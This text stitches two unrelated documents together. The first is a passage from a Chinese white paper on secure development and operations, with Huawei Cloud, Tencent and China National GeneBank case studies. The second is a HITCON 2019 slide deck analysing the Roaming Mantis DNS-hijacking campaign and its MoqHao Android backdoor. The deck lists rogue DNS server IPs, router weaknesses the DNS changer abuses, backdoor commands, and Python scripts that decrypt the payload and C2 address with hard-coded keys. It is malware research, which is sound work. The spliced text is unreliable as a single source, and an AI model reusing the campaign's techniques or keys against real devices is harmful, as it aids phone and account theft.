1)华为云通过数据加密服务(DEW) 的专属加密(DHSM)、密钥管理(KMS)、密钥对管理等功能提供云上 数据加密和存储保护;2)使用虚拟专用网络(VPN)在远端用户和 VPC 之间建立符合行业标准的安全加密通信隧道,将已有数据中心无缝扩 展到华为云上,提供租户端到端的数据传输机密性保障。通过 VPN 在 传统数据中心与 VPC 之间建立通信隧道,客户可方便地使用华为云的 资源;3)华为云服务通过标准 RESTful 形式向外发布,全网数据传 输使用 TLS 进行加密保护,同时也支持基于 X.509 证书的目标网站身 份认证;4)华为云提供多重冗余和容灾机制保证数据的高持久和服 务高可用,其中不少产品的可用性指标均达到业界先进水平。 (4)研发与验证 华为云开发者中心通过提供开发环境、OpenAPI 和 SDKs 以及基 于生命周期的一站式应用开发服务,使软件开发更加简单高效。同时 提供代码检查、测试管理、源代码控制、问题和缺陷跟踪等工具,帮 云计算开源产业联盟 研发运营安全白皮书 46 助开发者实现产品的安全可信。交付安全可信的软件产品一直是华为 公司倡导的企业文化,华为云认为,云服务的可信不仅应该体现在技 术和产品上,更应该根植于从需求规划、架构设计、系统开发、运维 运营到客户服务的全生命周期中。无论内部业务流程还是对外客户服 务,华为云完全遵从法律法规和国际标准提出的安全、合规和隐私保 护基本原则,制定了超过 1000 项的可信要求,将功能与质量、安全 与隐私保护融入云服务全生命周期,同时特别关注个人信息在采集、 使用,保留,传输、披露和处置等处理过程中的隐私保护,确保流程 透明、结构完善、控制严谨、过程可追溯。 (5)发布部署 按照华为云发布部署中规定的云服务上线场景,各云服务必须完 成自检,并承诺已满足上线华为云官网的可运营要求。 (6)上线运营 安全稳定的可信运营。为保证云服务的安全稳定运行,华为云建 立了可信运营中心,运维运营内容包括运维权限管理、系统日志与审 计、漏洞与补丁管理、事件管理、业务连续性管理等,覆盖了安全运 营的事前防范,事中响应、事后审计的全生命周期。华为云在保证常 规安全运营的基础上,还特别提取了合规、透明和隐私保护等可信要 求融入云服务运营活动中。如监控与日志管理方面,日志保存超过 180 天满足监管合规要求,日志不保存用户个人敏感信息以符合隐私要求; 漏洞和事件信息及时通知客户符合透明要求,用户可自主选择通知推 送的方式满足隐私的要求。 云计算开源产业联盟 研发运营安全白皮书 47 图 2 华为云可信运营 安全可信的客户服务。客户服务是云服务供应商与客户沟通的窗 口和渠道,优质的服务也是可信的一种体现。华为云认为,除了完整 可信的内部控制流程,透明完善的客户服务机制,也是建立信任的重 要体现。华为云建立了完善透明的客户服务体系,真诚与客户建立联 系,获取客户心声,收集客户需求,解决客户问题,提升产品和服务 的可信能力。 华为云官网发布了清晰透明的《华为云用户协议》、《云服务等 级协议(SLA)》和《隐私政策声明》,帮助客户了解华为云的责任、 产品服务的指标以及隐私保护的信息;同时提供多种交互渠道,以便 客户获取并行使数据主体的权利。 华为云秉承客户至上,服务第一的原则,根据基础级、开发者级、 商业级、企业级不同级别的需求,建立可供选择的服务包,用户可通 过在线工单、智能客服、自助服务、热线电话等多种方式获取专业的 服务和帮助。 在处理服务请求时,所有涉及操作客户网络的活动必须事先获取 客户的授权,并严格按照授权的范围、期限和用途进行操作,确保授 云计算开源产业联盟 研发运营安全白皮书 48 权和操作记录可追溯。同时,通过访问控制、加密、脱敏显示等技术 手段,有效保护客户隐私数据。 任何用户均可通过多种渠道进行服务咨询、意见反馈和投诉建议, 除基础性的站内在线客服和投诉建议热线电话外,系统复杂的企业客 户可以选择适用的支持计划,获取由 IM 企业群、技术服务经理(TAM)、 服务经理等组成的专属支持。 (7)停用下线 当客户决定不再使用云服务或主动删除数据时,华为云会综合内 存清零、逻辑删除、虚拟卷清零、销毁加密密钥等手段确保数据及其 所有副本被安全销毁。当客户注销华为云账户后,内容数据将进入保 留期,客户不能访问及使用云服务,保留期届满后,内容数据会得到 彻底的清除。在物理存储介质报废阶段,华为云通过对存储介质消磁、 折弯或破碎等方式进行数据清除,确保其上的数据无法恢复。 3)最终效果描述 华为云在保证自身产品可信的基础上,通过全栈的服务和解决方 案,把华为云积累的可信能力释放出来,帮助客户实现可信,即:安 全、隐私、韧性、合规、透明五大特征。 华为云提供安全可靠、性能稳定的六大类上百种服务,并根据行 业发展和客户需求不断地丰富和完善。华为云的全栈服务分类及产品 示意如下图所示。 云计算开源产业联盟 研发运营安全白皮书 49 图 3 华为云全栈式服务 云计算开源产业联盟 研发运营安全白皮书 50 (二)腾讯研发运营安全实践 1)当前研发运营安全的痛点 腾讯产品研发在行业内具有一定的特色,这么多年的发展过程中, 腾讯自研业务涉猎广泛几乎覆盖到了互联网所有的业务形态,重隐私 要求高性能的通讯软件 IM、快速试错的各种 SNS 功能、保守的支付 金融等都融合到一家公司里,这使得作为支撑业务发展的技术呈现出 了巨大的复杂性和挑战。 首先的挑战,就是在研发安全运营落地实践过程中,所遇到的人 力和资源有限的问题,为满足业务复杂的安全需求,就需要投入大量 的资源保障研发代码、研发流程等方面的安全,而过去包括需求评审、 威胁建模、安全开发、安全扫描等在内的安全环节的落地,都依赖于 大量安全人力等资源的投入,而业务复杂性越来越多,版本发布也越 来越多,就对安全工具链、自动化安全运营等方案,提出了更高的要 求;其次是迫切需要改变被动的安全应急的现状,业务的蓬勃发展, 业务的大量上线,也同时带来了很多安全应急的事件,如何将安全工 作左移,将频繁的安全应急,转变为事前安全风险的规避以及提前发 现,成为迫切需要解决的问题,这就需要提升整体业务团队的安全意 识,并提供可信赖的安全风险发现的解决方案或者工具;最后,就是 安全与研发流程的紧密结合,无论是源代码安全扫描、黑盒安全扫描、 高危组件安全扫描、主机安全扫描、敏感信息扫描等等,都需要与研 发流程紧密结合,才能够满足快速迭代的业务需求,而这也是早期安 全面临的安全挑战。 云计算开源产业联盟 研发运营安全白皮书 51 正是如此,腾讯内部研发安全运营,也是伴随着 DevOps 等研发 理念的产生和发展,越来越多的业务开始尝试各类新型的研发模式的 现状下,在早期就展开了研发运营安全的探索和实践,旨在解决所遇 到的与已有的安全保障体系结合的困难和挑战。 2)研发运营安全的落地实现 (1)建立管理制度 公司安全规范,为便于员工及时了解安全需求,公司发布包括 《研发安全规范》、《运维安全规范》等在内的多项安全标准,并 定期更新,保持安全合规以及安全机制与时俱进;各集团事业群也 会结合自身业务特点不断细化,制定适合自己形态的安全规范、检 查表等;配备专职安全团队,进行安全评估,对于重点业务、重大 的风险进行专项跟进。 安全培训,腾讯学院专栏安全课程,包括网课以及线下培训课程, 所有入职新人都必须参加相应的培训课程,其中包括安全课程;同时 各集团事业群或者部门也会定期组织安全培训和考试。 (2)落实安全要求 腾讯内部从集团层面提出业务上线的安全要求,全面覆盖安全分 级管理、权限管理、源码安全管理、系统上线流程、权限申请流程以 及相关的算法标准、口令标准、传输安全标准等基础安全要求,与此 同时,提出可落地的运维安全基线要求、研发安全基线要求,确保业 务系统在设计、开发、运维等阶段需满足的安全要求,旨在收敛内网 安全风险,保障数据安全及业务安全稳定运行,例如在安全编码领域, 云计算开源产业联盟 研发运营安全白皮书 52 集团发布编码安全规范,覆盖多种常规语言的编码规范,深度赋能开 发人员安全实践。 (3)安全隐私需求分析与设计 腾讯 PBD 是具有腾讯特色的隐私保护方法论,即用户(Person)、 控制(Button)和数据(Data),以彰显大数据时代腾讯隐私增强用 户数据控制力,尊重用户隐私体验价值的努力。 图 1 腾讯 PBD 体系 用户(Person)是腾讯隐私的出发点和最终目标。在产品设计中 体现为尊重用户,努力提升用户对隐私保护的感知度与参与度,最大 程度地避免产品设计中的隐私缺陷。让用户在使用产品的每个环节都 清晰地了解到其可能被收集的个人信息及具体使用情况,给予用户充 分的自主决定权,排除用户在隐私泄露方面的担忧,使其获得最佳的 用户体验。 控制(Button)致力于实现用户对个人信息的有效掌控与自主决 定,增加用户操作的便捷性。将用户的数据控制力转化为一个个按键, 云计算开源产业联盟 研发运营安全白皮书 53 在收集个人信息的具体环节中通过弹窗提示、再次授权等技术手段, 充分实现可视化操作,使隐私真正为用户所掌握。 数据(Data)重点关注用户个人信息的开发利用与隐私保护之间 的平衡。个人信息的开发利用是为了让用户享受更加方便快捷的社交、 娱乐、生活等体验。腾讯在使用个人信息以提供更好服务的同时,亦 充分考虑隐私保护,避免过度收集个人信息和超越目的范围使用的行 为。 与此同时,腾讯安全研发也一直贯彻“通过设计保护隐私 (Privacy by Design)”,这也体现了技术、法律和价值的融合。 该理念包含七大原则,指向产品设计、用户体验与价值功能三个层面。 图 2 通过设计保护隐私 (4)研发与验证安全建设 此阶段,在腾讯内部,主要涉及应用漏洞扫描,通过“应用漏洞 扫描”的内部开源系统项目,在腾讯多年建设的已有的研发漏洞发现 能力上,集合公司各安全团队的力量,以内部开源协同方式,打造更 强更好用的公司级的安全工具,包括且不限于以下:1)SAST,静态 代码扫描“啄木鸟”,开发人员可以直接在 CI 平台上使用相应插件 进行自动化的扫描以及结果的查看和疑似风险的处理;另外针对内部 云计算开源产业联盟 研发运营安全白皮书 54 开源代码建设了一套自动化的机制进行代码安全的检查并且有相应 的打分/激励以及推动机制逐步消除风险项;代码安全扫描结果以及 风险情况也会同步显示在内部代码托管平台上,方便开发者随时查看 和处理。2)DAST,Web 漏洞审计“洞犀”/App 漏洞审计“金刚”, 针对业界常见以及腾讯遇到过的漏洞类型,持续打造建设相适应的 Web 和 App 漏洞审计平台;对于 Web 类型漏洞的扫描,相比业界专门 优化了很多漏洞的识别算法,支持根据业务容量的限速,特别完善了 测试用例无害化,使安全测试对业务的影响降到最低;对于 App 漏洞, 除了传统的漏洞以外,借助于模拟器集群、UI 测试覆盖、污点追踪等 技术,对于一些需要前置条件的漏洞以及隐私合规方面的深层次安全 风险进行自动化的识别。3)IAST“洞犀”,结合流量代理技术,建立 自动化的上线前安全扫描机制。研发人员发布之后,测试人员只需要 关注功能测试,整个系统自动抓取期间的 CGI 流量并且提交“洞犀” 进行安全扫描,有问题通过安全工单跟踪;结合 RASP 和 DAST 技术, 可以全自动的采集流量触发 DAST“洞犀”扫描,结合 IAST 技术发现 一些以往单纯靠 DAST 无法发现的漏洞点,确保覆盖的情况下扫描速 度提升巨大,并且对于一些开发人员不容易定位问题点的漏洞如命令 注入等,可以直接给出详细漏洞触发点信息,提升开发人员效能。4) APP 加固,有针对性行的对移动应用和 apk 进行安全加固。5)Fuzzing, 逐步完善 DevSecOps 下的 Fuzzing 技术和平台。6)混沌工程,建立 专注于系统可用性的混沌工程平台,并不断尝试安全领域的此类探索。 (5)平台支撑安全发布部署 云计算开源产业联盟 研发运营安全白皮书 55 安全发布部署是业务上线前的重要保障,此阶段主要涉及以下安 全措施和平台保障,包括且不限于:后台服务发布,安全加固的统一 服务发布平台;APP 发布,证书和软件签名/发布;镜像安全扫描;安 全加固的腾讯 tlinux 内核。 (6)上线运营安全保障 业务上线后,腾讯通过自动化的安全监控、安全运营以及及时的 应急响应,为业务提供安全保障,包括且不限于:1)安全可追溯的 运维访问,铁将军(服务器权限管控):面向公司业务提供服务器实 名登录、权限管理、访问控制、实名审计等安全服务,安装铁将军后 可实现服务器访问统一管理,权限最优化配置;2)零信任实践,全 面应用于腾讯企业内部;3)网络流量安全分析,诸如管理后台、敏 感信息等的漏洞风险,同时也在入侵检测和安全攻防上得以探索与内 部落地实践;4)洞犀-上线后安全扫描,高危服务:针对内外网上的 高危服务(如可被直接入侵、数据泄露等)进行全端口的持续监测, 对于其中可蠕虫可入侵类的风险提供发现能力。部分机房的外网开放 风险可“一键防护”,帮助运维同学快速的临时止损。Web 漏洞:为 了防止一些不进行上学期安全扫描的漏网之鱼,洞犀系统会对外网所 有的 Web 请求进行自动化的采集、去脏、去重等处理,识别出有效的 CGI 及参数并进行安全扫描;5)金刚-上线后安全扫描,面向公司 APP 产品提供全方位通用漏洞审计功能,在产品发布前,通过对 APP 的安 全做全面的自动化检查,最大限度帮助业务解决 APP 中存在的安全漏 洞问题;6)洋葱(入侵检测系统),基于腾讯十余年来数百万台生产 云计算开源产业联盟 研发运营安全白皮书 56 业务系统服务器的安全防护经验,提供全面、可靠的服务器安全解决 方案,方案由轻量级 Agent 探针和管理服务平台组成,支持统一的资 产管理、入侵检测、安全审计、安全漏洞、安全基线等;7)RASP 方 案 TRASP,通过分析应用的运行行为以及上下文来发现 Web 应用安全 威胁,并精准定位到漏洞源,由于与应用融为一体,可实时监测、阻 断攻击,使应用自身拥有自保护的能力,可以实时检测发现针对 web 系统的各类入侵行为,包括 SQL 注入、命令注入、任意文件上传、任 意文件读取、代码执行等;8)腾讯安全应急响应中心(TSRC)漏洞奖 励计划,提供资金激励吸引外部安全研究人员帮助腾讯发现更多潜在 安全风险和漏洞,提供其他公司快速搭建 SRC 平台的开源版本以及 SaaS 版本,目前已经有 10+知名公司使用;9)腾讯蓝军渗透测试, 十余年来专注于前沿安全攻防技术研究、腾讯网络安全实战演练、腾 讯业务系统安全评估等方面,站在 APT 黑客的视角去模拟攻击,全方 位检验安全防护策略、响应机制的充分性与有效性,最大限度发现业 务系统的潜在风险,提出解决方案及协助改进;10)安全事件应急响 应小组,7*24 小时安全事件应急响应,第一时间响应,降低或消除事 件影响;11)宙斯盾(DDoS 防护),通过 IP 画像、行为模式分析、 Cookie 挑战等多维算法,并结合 AI 智能引擎持续更新防护策略,能 够有效防御各类型 DDoS 和 CC 等攻击行为;12)门神(WAF),针对 Web 攻击进行防御,丰富的攻击特征库,配合语义分析+AI 智能检测 引擎提高准确率降低误报,提供自定义打击策略以及防 CC 恶意数据 爬取阻断等能力;13)安全服务中心;14)安全事件工单系统;15) 云计算开源产业联盟 研发运营安全白皮书 57 威胁情报,TSRC 安全情报平台,主动及时感知外部安全情报,提供 100+知名软件的官方更新情报,5 分钟内发现,30+外部公司使用。 3)最终效果描述 整个信息产业发展到今天,软件系统日益庞大复杂,从业人员日 益增多。单纯的依靠安全岗位这一角色来保证研发的系统不出现安全 问题是很不现实的,这也是为何业界不断的爆出黑客入侵、数据泄露 等安全事件的本质原因。于当下,安全不仅仅是安全工程师的责任, 而应该成为一个组织整体的最高目标之一,需要每一个工程师的参与。 腾讯安全和研发团队都要参与到研发安全运营的不断建设和优化中 来,不断的推进理论和工具链的向前发展,不断的提供更好更便利的 安全能力并且尽可能的通过自动化、工具化等方式为研发工程师赋能, 使大家都能够承担起应有的安全责任,才能进行更好的安全管控。 云计算开源产业联盟 研发运营安全白皮书 58 (三)国家基因库生命大数据平台研发运营安全案例 1)当前研发运营安全的痛点 随着科学研究方法和技术的快速迭代和应用,相关领域的企业、 高校和医院等单位和机构产生、管理和利用的生命科学数据规模不断 增加。但面对海量数据,相关的单位和机构难以为数据提供安全性和 可用性较高的本地存储计算资源和对外的共享应用能力。往往由于负 责数据相关工作的人力队伍建设和配套流程不完善,导致国家的遗传 资源的共享和应用都存在安全问题,有很大的隐患。 另外在数据共享和应用过程中,数据所有方的权益无法得到有效 保障,共享的数据的安全和相关的隐私保护难以保证,导致很多研究 机构、医疗机构、公司或者其它生命数据的拥有者在数据集中保存和 共享方面积极性不高。 2)研发运营安全的落地实现 (1)管理制度 数字化时代,网络安全威胁已成为生命大数据平台运营的主要挑 战之一,日益严峻的安全挑战将会威胁生命大数据平台的信息安全, 数据安全已成为当前最为主要的安全问题。通过建设整体的网络安全 架构,按照国家信息安全等级保护认证的要求,获得国家信息安全等 级保护资质的三级/四级认证。 信息安全管理主要围绕防数据泄露、防攻、防特权、合法合规四 个基本方向,从建立安全组织体系,信息安全管理与策略体系,云管 端纵深立体信息安全技术防护体系规划入手,以数据安全保护为抓手, 云计算开源产业联盟 研发运营安全白皮书 59 推进核心安全能力建设,实现生物信息数据防窃取、防滥用、防丢失、 防篡改、防误用,保障国家生物数据安全。 建立生物信息安全管理体系 面向国家安全体系战略需求,从伦理、人遗、实验室安全、信息 安全、物理安全、合规性等方面建立全方位的生物信息安全体系。 (a)生命伦理安全管理 建立伦理委员会(CNGB-IRB),设立常设办公室,配备专职秘书 和顾问团队,制定伦理审核及监督管理的制度,规范涉及人、实验动 物、微生物等领域的研究和应用,保证国家基因库各项工作符合生命 伦理国际准则、国家法规和行业规范等。 (b)遗传资源安全管理 按照《中华人民共和国人类遗传资源管理条例》(2019 年 7 月 1 日)、《生物遗传资源获取与惠益分享管理条例(草案)》、《濒危 野生动植物国际贸易公约》以及《中华人民共和国野生动植物保护法》 等相关法律法规,制定遗传资源管理制度及操作流程,确保遗传资源 受到管控,在操作和交流过程中符合国家相关法律、法规的要求。通 过生命伦理安全管理以及遗传资源安全管理从而避免生物技术不被 误用和滥用。 (c)实验室安全管理 通过实验室安全管理,避免生物危害因子对实验操作人员造成伤 害以及对周围环境造成污染,从而保证科研活动的正常进行。按照国 家生物安全等级进行实验室建设,保证工作人员不受病源微生物等伤 云计算开源产业联盟 研发运营安全白皮书 60 害,保证产生的废弃生物材料等通过合法合规途径处理,不会对外部 环境造成不利影响。 (d)物理安全 通过建设由监控系统、安保岗亭(身份+车辆识别系统)、门禁 系统、内部管理系统、核心区域授权管制系统等构成的 5 道物理安全 防线。通过人防、技防、物防的有机配合,保障各区域的物理安全。 通过警民联动构建了第六道防线。采用公安“雪亮工程”,以综治信 息化为支撑、以网格化管理为基础让国家基因库的安防系统与公安系 统对接,充分发挥视频监控系统的作用,推进国家基因库治安防控体 系建设。 (2)安全要求 为遵循《中华人民共和国人类遗传资源管理条例》,面向生物技 术和生物大数据科学前沿,面向国家生物安全体系战略需求,以及我 国生物健康,生物医药,生物农业等产业发展需求,我国精准医疗, 数字化地球等重大科技公关等科学研究的重大需求,提升生命科学数 据的安全有效共享和应用,国家基因库构建生命大数据平台(CNGBdb), 以确保中华人民共和国遗传资源得到充分保护的前提下,为国内相关 机构和单位提供安全的数据共享环境,促进生命科学数据开放共享, 为科学研究和生物技术产业化过程中的数据共享及应用提供保障。 (3)安全隐私需求分析与设计 1)建立安全可靠的数据汇交系统,针对我国科学研究和产业发 展的生物样本资源,数据资源等多组学信息数据资源,为科研机构、 云计算开源产业联盟 研发运营安全白皮书 61 医药和企业的样本和测序数据提供统一的管理和共享,参考国际和国 内的组学数据标准和管理方式,建立安全可靠的数据汇交系统。 2)建设存读一体化生物数据安全和高效传输系统,依托深圳国 家基因库(以下简称:国家基因库)样本库、读平台和信息库组织结 构的优势,样本库丰富的样本资源,通过就地对生物样本库的样本进 行数据采集和数字化,形成统一格式的数据,并就地存入生物信息数 据库,并进行生物信息学分析和挖掘,实现生物样本资源库和生物信 息数据库进行有机地结合,建立生命数据全周期管理和回溯的基石。 3)基于区块链和多方安全计算技术实现可溯源、可监管的数据 共享应用区块链技术,建立覆盖数据计算的生命科学数据关键节点信 息上链,保证各模块及处理步骤都是可预测,可追溯和可验证,可监 管,最大程度地保护数据的安全。配合区块链技术,通过安全多方计 算实现数据联合分析,数据“虽彼此不可见,但可共享使用”(即“可 用不可见”)的方式,与其他科研人员协同分析。 4)基于中国个人信息相关法律法规制定平台隐私政策,CNGBdb 作为数据服务的提供者给研究人员提供数据归档和管理等服务, CNGBdb 平台隐私政策遵循中国个人信息安全相关的法律法规。 (4)研发与验证 CNGBdb 建立了安全可靠的序列归档系统(CNSA),CNSA 是一个 方便快捷的科学研究项目、样本、实验、测序、组装、变异等生命科 学 数 据 汇 交 和 共 享 系 统 , 结 合 国 际 核 酸 序 列 数 据 库 联 盟 (International Nucleotide Sequence Database Collaboration, 云计算开源产业联盟 研发运营安全白皮书 62 INSDC)标准和 DataCite 标准,建立了数据归档存储和管理的标准规 范,并接受来自全球科研的测序数据、信息和其他分析结果数据的递 交,为全球的研究者提供当前最全面的数据和信息资源,使研究人员 能够更便捷地访问数据,促进数据的再利用。 (5)发布部署 基于云平台通过可信云服务认证,CNGBdb 通过 ISO27001 信息安 全管理体系认证,从服务协议标准性、数据存储可靠性、用户数据私 密性、业务可用性、功能完备性、运维系统完善性等多方面达到国内 顶级云服务评测系统的认证标准,对外发布 CNGBdb 平台业务并提供 公益性服务,保障信息资源的安全,保护信息化进程健康、有序、可 持续发展。 (6)上线运营 (a)基础安全 具备主动发现安全漏洞和提供修复方案以及漏洞修复能力;具备 对网络攻击和明显异常行为的主动感知和防御能力;对安全事件应急 响应和回溯能力。 (b)业务安全 主动发现潜在业务安全风险,提供解决方案和风险控制在可接受 范围内;有能力支撑和应对业务正常发展和运营过程中以及业务场景 变化可能带来新的业务安全风险。 (c)数据安全 云计算开源产业联盟 研发运营安全白皮书 63 主动识别数据在全生命周期内和流动过程中的数据安全风险和 评估出合理风险等级,并将风险控制在可接受范围内;具备对数据泄 露事件的应急响应和追溯调查能力。 (d)安全合规 满足安全监管、法律要求,有效支持基因库业务开展、运营和外 部合作;满足合规的基础上,构建符合基因库自身特性的安全合规体 系。 (7)服务停用下线 因用户申请或业务需要,对平台上的特定数据进行彻底删除的操 作,在进行数据的销毁处理时,需首要遵循知情同意、隐私和保密的 原则。在数据销毁执行环节,依据 DOD 5220.22-M 标准,保证磁盘中 存储数据的永久删除,不可恢复。若销毁对象被其他对象所关联,则 将该对象与关联对象一并销毁/删除;若销毁对象未被其他对象所关 联,则只销毁该对象本身。 3)最终效果描述 国家基因库生命大数据平台(CNGBdb)面向国家安全体系战略需 求,从安全汇交、安全传输、安全管理和安全共享等方面建立了数据 共享安全运营体系,在民生健康、重大疫情防控、分子育种、全球物 种多样性保护等方面建立了多组学数据资源管理和应用体系,为抢占 未来生命科学科技创新战略制高点提供了重要支撑和基础条件,也为 推动我国生物数据安全和维护数据主权提供了重要保障。 云计算开源产业联盟 研发运营安全白皮书 64 截至 6 月 8 日,CNGBdb 核酸序列归档系统归档的数据总量为 2243TB,用户在 CNSA 递交的数据在被国际包含 Nature,Cell 等在内 的 80 多个期刊杂志接收,论文成功发表。CNSA 汇交了来源 100 多个 递交单位的生命科学数据。 CNGBdb 支撑大型国际科研合作项目,包括但不限于 ICGC-ARGO 项 目,地球生物基因组计划(EBP),万种鱼基因组项目,万种植物基因 组项目,万种药用植物项目等大型国际国内合作项目,共享 CNGBdb 基础设施能力。与世界最大的药用植物园-广西药用植物园合作搭建 万种药用植物数据库(10KMP),包含近 1000 种药用植物的元信息及 转录组测序数据。CNGBdb 与联合国粮食及农业组织 FAO GLIS 系统的 DOI 对接,实现物种、组学等信息和数据的有效互联互通,避免信息 重复,方便数据统一追踪和索引,促进科学研究。CNGBdb 与中国科学 院战略生物资源服务网络、全球基因组生物多样性联盟,以及国家人 类遗传资源共享服务平台等组织达成合作互通,共享资源信息。2019 年,国家基因库加入了中国科学院战略生物资源服务网络,新增资源 互通信息 5838 份,同时,国家基因库参与了生物资源信息平台建设 及其应用研讨会,并加入了中国科学院生物资源目录。 应用区块链和多方安全技术,CNGBdb 发布国内首个基于区块链 和安全多方计算的新冠病毒基因组分析平台。该分析平台展示了现有 公开新冠病毒数据集(来自 GISAID、NCBI、CNGBdb 等)的演化树分 析结果,包括样本序列演化关系、地理位置、采样时间等,可实时追 踪病毒流行病学情况、预测未来毒株演化。此外,还能帮助用户大大 云计算开源产业联盟 研发运营安全白皮书 65 节约维护、更新数据集的时间成本。基于区块链和安全多方计算技术 搭建多方安全计算工具,允许用户在不公布己方数据的前提下,联合 其他科研人员协同分析并共享结果,同时结合区块链技术,保证所有 数据和计算过程均可回溯且不可篡改。其正式上线意味着生命科学大 数据的安全共享和开发利用上了一个新台阶。
pdf
Roaming Mantis: an Anatomy of a DNS Hijacking Campaign Suguru Ishimaru GReAT APAC Kaspersky Lab Manabu Niseki NTT-CERT NTT SC Labs Hiroaki Ogawa Professional Service McAfee 2 Contents 1. Introduction 2. What is Roaming Mantis 3. MoqHao and SMShing 4. Attribution 5. Conclusions HITCON CMT 2019 $ whoami Introduction of ourselves Who are we..? 4 HITCON CMT 2019 Manabu Niseki NTT-CERT NTT SC Labs Suguru Ishimaru GReAT APAC Kaspersky Labs Hiroaki Ogawa Professional Service McAfee $ man roamingmantis What is Roaming Mantis Phishing site Web mining Malicious APK Multilingual 6 HITCON CMT 2019 What is Roaming Mantis? • Cyber criminal campaign • Compromised routers • Targeted multi platform and multiple language • Started since early 2018 7 HITCON CMT 2019 What is Roaming Mantis? Compromised router Roaming Bugdroid’s color Mistakes (BUG) Mantis Roaming Mantis aka 少爺(Shaoye) 8 • 57東森財經新聞台: 「少爺殭屍」網路擴散! 全球百萬筆個資遭竊 (2018/06/07) • https://www.youtube.com/watch?v=NEVMxhXG2lE • TWNCERT: Shaoye Botnet Affecting Network Devices in Asia-Pacific (2018/06/14) • https://www.nccst.nat.gov.tw/NewsRSSDetail?lang=en&RSSType=news&seq=16111 TWNCERT says: • At least 6,000 mobile devices are infected with malicious apps, leaking more than 1 million pieces of personal information. • The infection spreads to 55 countries in the world and South Korea being the main target has a victim rate of 75%. Compromised routers 9 HITCON CMT 2019 Compromised routers 10 HITCON CMT 2019 Rogue DNS servers 11 A B C D Primary 1.53.252.215 (Vietnam) 171.244.3.110 (Vietnam) 118.30.28.38 (China) 42.112.35.45 (Vietnam) Secondary 1.53.252.164 (Vietnam) 171.244.3.111 (Vietnam) 118.30.28.39 (China) 42.112.35.55 (Vietnam) Korea is the first priority target 12 168.126.63.1 (Korea Telecom / Korea) 203.248.252.2 (LG DACOM Corporation / Korea) 219.250.36.130 (SK Broadband Co Ltd / Korea) Note: they are legitimate DNS servers in Korea DNS changer 13 HITCON CMT 2019 • My handmade honeypot (which impersonates a Korean router) observed a DNS changer payload via 205.209.174.238. • Roaming Mantis DNS changer takes 2 steps. 1. Taking a fingerprint of a target. 2. Sending an attack payload based on the fingerprint. JS DNS changer 14 HITCON CMT 2019 The router’s DNS setting is potentially compromised if the device reads the URL query of the DNS changer from localnet under a router with the following conditions: • No authentication for router panel from localnet • The device has an admin session for the router panel • Simple ID and password (or default) for router panel like admin:admin / user:user KSN data for detection of rogue DNS (1 – 19 Aug 2019) 15 HITCON CMT 2019 98,000+ detections based on KSN data. 1. Russia 2. India 3. Vietnam 4. Bangladesh 5. Japan 6. Kazakhstan 7. Indonesia 8. Pakistan 9. Taiwan 10. Iran Landing page 16 HITCON CMT 2019 Using Taiwanese hosts as landing pages 17 • HiNet: • 1.171.153.177, 1.171.154.9, 1.171.156.75 • 1.171.158.91, 1.171.169.160, 1.171.169.201 • 1.171.171.34, 1.171.174.228, 1.171.175.167 • Etc. • SEEDNET: • 175.181.255.52 • 112.104.27.225, 112.104.26.33 • Etc. HITCON CMT 2019 18 HITCON CMT 2019 Targeted multi-platform Malicious APK file(MoqHao) Phishing Mining HITCON CMT 2019 Accessing a landing page with iOS 19 Accessing a landing page with Android 20 Infection with an Android malware MoqHao (chrome1.0.7.apk) HITCON CMT 2019 $ file moqhao.apk MoqHao and SMShing MoqHao via SMShing • MoqHao (alias: Shaoye and XLoader) is spreading via SMShing which impersonates Japanese logistics brands in Japan. HITCON CMT 2019 (source: https://asia.nikkei.com/Business/Japan-s-Sagawa-chasing-drivers-with-4-day-workweek https://asia.nikkei.com/Business/Yamato-Transport-No.-1-in-Japan-brand-survey) Spreading chain 23 HITCON CMT 2019 • An infected Android device sends a SMS with a bit.ly link. • The bit.ly link is a link to a Tumblr blog. • The Tumblr blog redirects a user to a landing page. Phishing website in Japan 24 sagawa.apk(MoqHao) iOS Android HITCON CMT 2019 HITCON CMT 2019 In July 2019, new target is … 25 (source: https://www.motive.com.tw/?p=18207) 黑貓宅急便 is targeted in Taiwan 26 • Since early July 2019, MoqHao SMShing is started targeting 黑貓宅急便 in Taiwan. HITCON CMT 2019 (source: https://www.youtube.com/watch?v=0QKrDFua7Dc) 黑貓宅急便 landing page 27 smartcat.apk (MoqHao/Shaoye) Apple phishing HITCON CMT 2019 Phishing website in Taiwan 28 smartcat.apk(MoqHao) iOS Android HITCON CMT 2019 29 HITCON CMT 2019 Android malware MoqHao (smartcat.apk) MoqHao contains encrypted payload executed by loader module: Loader module Encrypted payload Payload is Moqhao Decryption using zlib + base64 30 HITCON CMT 2019 Android malware MoqHao 1. sendSms 2. setWifi 3. gcont 4. lock 5. bc 6. setForward 7. getForward 8. hasPkg 9. setRingerMode 10. setRecEnable 11. reqState 12. showHome 13. getnpki 14. http 15. onRecordAction 16. call 17. get_apps 18. show_fs_float_ window 19. Ping 20. getPhoneState 20th backdoor commands 4,000+ stolen info • IP • Language • ID (email) • Password • Name • Address • Credit card info • Tow factor auth • Bank info • Etc… MoqHao payload module is a backdoor. Improving crypto algorithm of loader module 31 HITCON CMT 2019 ¥classes.dex loader module ¥assets¥bin encrypted payload (-> .dex) …others 2018 April Base64 2018 May Base64 + Zlib 2018 Aug Zlib + Base64 2019 Mar DES Key “xieurjke” + ZIP 2018 Feb Skip 4bytes + Zlib + Base64 2018 Apr Skip 4bytes + Zlib + Base64 #!/usr/bin/env python import sys import zlib import base64 data = open(sys.argv[1], "rb").read() dec_z = zlib.decompress(data[4:]) dec_b = base64.b64decode(dec_z) with open(sys.argv[1]+".dec","wb") as fp: fp.write(dec_b) Wrong design (vulnerability?) in old versions 32 HITCON CMT 2019 If someone send a Email to there…? Wrong design Read email subject and decrypt real C2 destination Real C2 Sinkhole? Other actor? Fixed wrong design in 2019 33 HITCON CMT 2019 Fixed Real C2 of Roaming Mantis Feb 2019 xor + sub Apr 2019 Base64.urlsafe + DES (CBC) Mar 2019 Base64 + DES(EBC) #!/usr/bin/env python from Crypto.Cipher import DES import sys import base64 enc = base64.urlsafe_b64decode(sys.argv[1]) key = b"Ab5d1Q32" des = DES.new(key,2,key) dec = des.decrypt(enc) print(dec) Crypto Algorithm $ whois Attribution The goal of the attacker 35 Of course… Get the money! Create accounts with compromised devices’s Telephone Number Creating account from stolen information 36 EC sites payment service Carrier Billing Steal SMS messages and send these to the C2 SMS message send to Compromised device with authentication code Get authentication code from a stolen SMS C2 Server Send device information Include device’s telephone number after infected MoqHao Get the compromised device’s telephone number Stealing authentication code 37 EC Sites/Payment Service SMS Carrier Billing Abusing stolen information 38 Source: 